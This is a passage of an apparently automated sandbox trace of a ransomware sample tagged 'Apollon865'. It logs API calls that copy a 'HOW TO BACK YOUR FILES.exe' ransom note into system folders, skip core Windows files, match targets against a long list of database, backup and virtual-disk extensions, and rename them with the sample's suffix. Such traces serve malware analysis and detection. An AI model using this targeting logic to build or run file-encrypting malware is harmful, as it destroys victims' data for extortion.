	[0039.421] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0039.421] lstrlenW (lpString="trc") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0039.421] lstrlenW (lpString="trm") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0039.421] lstrlenW (lpString="udb") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0039.421] lstrlenW (lpString="udl") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0039.421] lstrlenW (lpString="usr") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0039.421] lstrlenW (lpString="v12") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0039.421] lstrlenW (lpString="vis") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0039.421] lstrlenW (lpString="vpd") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0039.421] lstrlenW (lpString="vvv") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0039.421] lstrlenW (lpString="wdb") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0039.421] lstrlenW (lpString="wmdb") returned 4
	[0039.421] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0039.421] lstrlenW (lpString="wrk") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0039.421] lstrlenW (lpString="xdb") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0039.421] lstrlenW (lpString="xld") returned 3
	[0039.421] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0039.421] lstrlenW (lpString="xmlff") returned 5
	[0039.421] lstrcmpiW (lpString1="a.dat", lpString2="xmlff") returned -1
	[0039.421] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 0
	[0039.421] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.422] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0039.422] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData"
	[0039.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0039.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0039.422] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned 46
	[0039.422] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData"
	[0039.422] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.422] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.427] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.427] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.427] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.427] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.427] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.427] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.427] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.427] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.427] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.427] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.427] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.427] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.427] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d452560, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="Apollon865.txt.exe") returned 1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".") returned 1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="..") returned 1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="windows") returned -1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="bootmgr") returned 1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="temp") returned -1
	[0039.427] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="pagefile.sys") returned 1
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="boot") returned 1
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="ids.txt") returned 1
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="ntuser.dat") returned 1
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="perflogs") returned 1
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="MSBuild") returned 1
	[0039.428] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0039.428] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*") returned 48
	[0039.428] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="RacWmiDatabase.sdf" | out: lpString1="RacWmiDatabase.sdf") returned="RacWmiDatabase.sdf"
	[0039.428] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0039.428] lstrlenW (lpString="Apollon865") returned 10
	[0039.428] lstrcmpiW (lpString1="tabase.sdf", lpString2="Apollon865") returned 1
	[0039.428] lstrlenW (lpString=".dll") returned 4
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".dll") returned 1
	[0039.428] lstrlenW (lpString=".lnk") returned 4
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".lnk") returned 1
	[0039.428] lstrlenW (lpString=".ini") returned 4
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".ini") returned 1
	[0039.428] lstrlenW (lpString=".sys") returned 4
	[0039.428] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".sys") returned 1
	[0039.428] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0039.428] lstrlenW (lpString="bak") returned 3
	[0039.428] lstrcmpiW (lpString1="sdf", lpString2="bak") returned 1
	[0039.428] lstrlenW (lpString="ba_") returned 3
	[0039.428] lstrcmpiW (lpString1="sdf", lpString2="ba_") returned 1
	[0039.428] lstrlenW (lpString="dbb") returned 3
	[0039.428] lstrcmpiW (lpString1="sdf", lpString2="dbb") returned 1
	[0039.428] lstrlenW (lpString="vmdk") returned 4
	[0039.428] lstrcmpiW (lpString1=".sdf", lpString2="vmdk") returned -1
	[0039.428] lstrlenW (lpString="rar") returned 3
	[0039.428] lstrcmpiW (lpString1="sdf", lpString2="rar") returned 1
	[0039.428] lstrlenW (lpString="zip") returned 3
	[0039.428] lstrcmpiW (lpString1="sdf", lpString2="zip") returned -1
	[0039.428] lstrlenW (lpString="tgz") returned 3
	[0039.428] lstrcmpiW (lpString1="sdf", lpString2="tgz") returned -1
	[0039.428] lstrlenW (lpString="vbox") returned 4
	[0039.428] lstrcmpiW (lpString1=".sdf", lpString2="vbox") returned -1
	[0039.429] lstrlenW (lpString="vdi") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="vdi") returned -1
	[0039.429] lstrlenW (lpString="vhd") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="vhd") returned -1
	[0039.429] lstrlenW (lpString="vhdx") returned 4
	[0039.429] lstrcmpiW (lpString1=".sdf", lpString2="vhdx") returned -1
	[0039.429] lstrlenW (lpString="avhd") returned 4
	[0039.429] lstrcmpiW (lpString1=".sdf", lpString2="avhd") returned -1
	[0039.429] lstrlenW (lpString="db") returned 2
	[0039.429] lstrcmpiW (lpString1="df", lpString2="db") returned 1
	[0039.429] lstrlenW (lpString="db2") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="db2") returned 1
	[0039.429] lstrlenW (lpString="db3") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="db3") returned 1
	[0039.429] lstrlenW (lpString="dbf") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="dbf") returned 1
	[0039.429] lstrlenW (lpString="mdf") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="mdf") returned 1
	[0039.429] lstrlenW (lpString="mdb") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="mdb") returned 1
	[0039.429] lstrlenW (lpString="sql") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="sql") returned -1
	[0039.429] lstrlenW (lpString="sqlite") returned 6
	[0039.429] lstrcmpiW (lpString1="se.sdf", lpString2="sqlite") returned -1
	[0039.429] lstrlenW (lpString="sqlite3") returned 7
	[0039.429] lstrcmpiW (lpString1="ase.sdf", lpString2="sqlite3") returned -1
	[0039.429] lstrlenW (lpString="sqlitedb") returned 8
	[0039.429] lstrcmpiW (lpString1="base.sdf", lpString2="sqlitedb") returned -1
	[0039.429] lstrlenW (lpString="xml") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="xml") returned -1
	[0039.429] lstrlenW (lpString="$er") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="$er") returned 1
	[0039.429] lstrlenW (lpString="4dd") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="4dd") returned 1
	[0039.429] lstrlenW (lpString="4dl") returned 3
	[0039.429] lstrcmpiW (lpString1="sdf", lpString2="4dl") returned 1
	[0039.430] lstrlenW (lpString="^^^") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="^^^") returned 1
	[0039.430] lstrlenW (lpString="abs") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="abs") returned 1
	[0039.430] lstrlenW (lpString="abx") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="abx") returned 1
	[0039.430] lstrlenW (lpString="accdb") returned 5
	[0039.430] lstrcmpiW (lpString1="e.sdf", lpString2="accdb") returned 1
	[0039.430] lstrlenW (lpString="accdc") returned 5
	[0039.430] lstrcmpiW (lpString1="e.sdf", lpString2="accdc") returned 1
	[0039.430] lstrlenW (lpString="accde") returned 5
	[0039.430] lstrcmpiW (lpString1="e.sdf", lpString2="accde") returned 1
	[0039.430] lstrlenW (lpString="accdr") returned 5
	[0039.430] lstrcmpiW (lpString1="e.sdf", lpString2="accdr") returned 1
	[0039.430] lstrlenW (lpString="accdt") returned 5
	[0039.430] lstrcmpiW (lpString1="e.sdf", lpString2="accdt") returned 1
	[0039.430] lstrlenW (lpString="accdw") returned 5
	[0039.430] lstrcmpiW (lpString1="e.sdf", lpString2="accdw") returned 1
	[0039.430] lstrlenW (lpString="accft") returned 5
	[0039.430] lstrcmpiW (lpString1="e.sdf", lpString2="accft") returned 1
	[0039.430] lstrlenW (lpString="adb") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0039.430] lstrlenW (lpString="adb") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0039.430] lstrlenW (lpString="ade") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="ade") returned 1
	[0039.430] lstrlenW (lpString="adf") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="adf") returned 1
	[0039.430] lstrlenW (lpString="adn") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="adn") returned 1
	[0039.430] lstrlenW (lpString="adp") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="adp") returned 1
	[0039.430] lstrlenW (lpString="alf") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="alf") returned 1
	[0039.430] lstrlenW (lpString="ask") returned 3
	[0039.430] lstrcmpiW (lpString1="sdf", lpString2="ask") returned 1
	[0039.430] lstrlenW (lpString="btr") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="btr") returned 1
	[0039.431] lstrlenW (lpString="cat") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="cat") returned 1
	[0039.431] lstrlenW (lpString="cdb") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="cdb") returned 1
	[0039.431] lstrlenW (lpString="ckp") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="ckp") returned 1
	[0039.431] lstrlenW (lpString="cma") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="cma") returned 1
	[0039.431] lstrlenW (lpString="cpd") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="cpd") returned 1
	[0039.431] lstrlenW (lpString="dacpac") returned 6
	[0039.431] lstrcmpiW (lpString1="se.sdf", lpString2="dacpac") returned 1
	[0039.431] lstrlenW (lpString="dad") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="dad") returned 1
	[0039.431] lstrlenW (lpString="dadiagrams") returned 10
	[0039.431] lstrcmpiW (lpString1="tabase.sdf", lpString2="dadiagrams") returned 1
	[0039.431] lstrlenW (lpString="daschema") returned 8
	[0039.431] lstrcmpiW (lpString1="base.sdf", lpString2="daschema") returned -1
	[0039.431] lstrlenW (lpString="db-journal") returned 10
	[0039.431] lstrcmpiW (lpString1="tabase.sdf", lpString2="db-journal") returned 1
	[0039.431] lstrlenW (lpString="db-shm") returned 6
	[0039.431] lstrcmpiW (lpString1="se.sdf", lpString2="db-shm") returned 1
	[0039.431] lstrlenW (lpString="db-wal") returned 6
	[0039.431] lstrcmpiW (lpString1="se.sdf", lpString2="db-wal") returned 1
	[0039.431] lstrlenW (lpString="dbc") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="dbc") returned 1
	[0039.431] lstrlenW (lpString="dbs") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="dbs") returned 1
	[0039.431] lstrlenW (lpString="dbt") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="dbt") returned 1
	[0039.431] lstrlenW (lpString="dbv") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="dbv") returned 1
	[0039.431] lstrlenW (lpString="dbx") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="dbx") returned 1
	[0039.431] lstrlenW (lpString="dcb") returned 3
	[0039.431] lstrcmpiW (lpString1="sdf", lpString2="dcb") returned 1
	[0039.432] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.Apollon865") returned 76
	[0039.432] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.apollon865"), dwFlags=0x1) returned 0
	[0039.432] GetLastError () returned 0x20
	[0039.432] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf MoveFileEx error 32\r\n") returned 95
	[0039.432] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf MoveFileEx error 32\r\n") returned 95
	[0039.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0039.432] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa47
	[0039.432] WriteFile (in: hFile=0x148, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5f, lpOverlapped=0x0) returned 1
	[0039.432] CloseHandle (hObject=0x148) returned 1
	[0039.433] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.433] CloseHandle (hObject=0x0) returned 0
	[0039.433] CloseHandle (hObject=0x0) returned 0
	[0039.433] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d452560, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0
	[0039.433] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.433] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0039.434] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound"
	[0039.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598588 | out: hHeap=0x580000) returned 1
	[0039.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0039.434] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned 41
	[0039.434] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound"
	[0039.434] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.434] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.439] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.439] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.439] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.439] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.439] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.439] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.439] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.439] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.439] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.439] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.439] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.439] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.439] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.439] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.439] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0039.439] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform"
	[0039.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0039.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0039.439] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 61
	[0039.439] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform"
	[0039.439] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.439] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.445] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.445] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.446] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
